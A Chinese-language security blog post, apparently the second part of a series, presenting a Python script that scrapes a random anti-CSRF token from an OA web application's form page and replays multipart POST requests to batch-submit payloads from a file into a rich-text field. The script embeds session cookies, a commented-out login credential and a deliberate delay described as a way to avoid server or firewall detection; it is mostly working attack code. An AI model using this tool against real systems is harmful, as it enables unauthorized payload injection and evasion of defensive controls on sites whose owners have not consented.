背景:
这是我的上一篇Python安全之绕过随机Token——使用Brup找出随机Token下篇,上篇中通过burp成功找到了随机Token的返回位置。这篇就使用python自动获取token并自动填到POST数据中进行重放,从而最终达到绕过随机Token的验证实现自动批量提交测试payload。
分析:
根据上一篇得到的结果,我要实现自动批量提交测试payload实际上只需要两步:
1、在Response页面中抓取token值,Response页面如下图:
2、构造post请求,同时将抓取到的token传到post请求中。
可以看出这里post的数据并不是我们常见的以&为分隔符的数据,这也是本例的一个难点,如何用python构造这种数据结构,不过也就仅仅一两行代码,这就是python强大之处,有各种强大的库。话不多说,上代码:
代码:
由于没有通用性,这次并没有使用命令行传参,仅供实际工作中遇到时参考。
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# @Time :2020/1/9 16:13
# @Author :Donvin.li
# @File :bypasstoken.py
import requests
import re
from requests_toolbelt.multipart.encoder import MultipartEncoder
import time
# GetCookie函数是用来自动填写验证表单,获取cookie用的。这里并没有实际启用
# def GetCookie():
# s=requests.session()
# loinurl='http://xxxx.cn/logincheck.php'
# postdata=dict(UNAME='test_st',PASSWORD='ZHQ5X2xzYzR3')
# rs=s.post(loinurl,postdata)
# cookies=rs.cookies['PHPSESSID']
# GetToken(cookies)
# proxies是我的Burp代理,为了分析数据之用
proxies = {'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'}
# cookies作为全局变量同时给两个函数使用
cookies = {'acw_tc': '24f9501e15784861328236498e24803eed8a7875968d919fd4299a7d1b',
'USER_NAME_COOKIE': 'test_st',
'SID_24047': '30a9bc1f',
'PHPSESSID': 'bk03tldf1o1of2u0ijm6d0udc3',
'OA_USER_ID': '24047'}
#每遍历一个payload同时请求一个随机token,把payload和token成对提交给PostPayload函数
def GetToken():
s=requests.session()
url='http://xxxx.cn/general/needs_optimization/create_needs/add.php'
headers ={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0'}
file = open('payload.txt', 'r')
for i in file:
payload=i
rs=s.get(url,headers=headers,cookies=cookies)
response=rs.text
re1=re.search('.*<input type="hidden".*',response) #用正则获取Token所在的行
str=re1.group()
token=str.split('"')[5] #用字符截取获取Token的值
# print(token)
time.sleep(5) #非必须,为了防止服务器或防火墙有检测机制,每次提交5秒后提交下一次
PostPayload(token, payload)
#只做执行post数据的操作
def PostPayload(token,payload):
s = requests.session()
url='http://xxxx.cn/general/needs_optimization/create_needs/submit.php'
headers={'Host': 'xxxx.cn',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Origin': 'http://portal.crlandpm.com.cn',
'Connection': 'close',
'Referer': 'http://xxxx.cn/general/needs_optimization/create_needs/add.php',
'Upgrade-Insecure-Requests': '1'
}
postdata = {'n_s_token': token,
'NEED_TITLE': 'test',
'CATE_ID': '2',
'MODULE_ID': '12',
'TYPE_ID': '6',
'TD_HTML_EDITOR_NEED_DESC': 'test1',
'TD_HTML_EDITOR_ACTUALITY': 'test2',
'TD_HTML_EDITOR_SUGGESTION': payload,
'NEED_NOTICE': 'test4',
'attach_list': ('', '', 'application/octet-stream')
}
data=MultipartEncoder(postdata) #这一步非常关键,用于post Content-Type:multipart/form-data的数据格式。
headers['Content-Type'] = data.content_type
rs = s.post(url, data=data, headers=headers, cookies=cookies,proxies=proxies)
# print(rs.request.body)
# print(rs.text)
if __name__=="__main__":
GetToken()
关于post Content-Type:multipart/form-data的数据格式的构造请参考Python 实现multipart/form-data 图片上传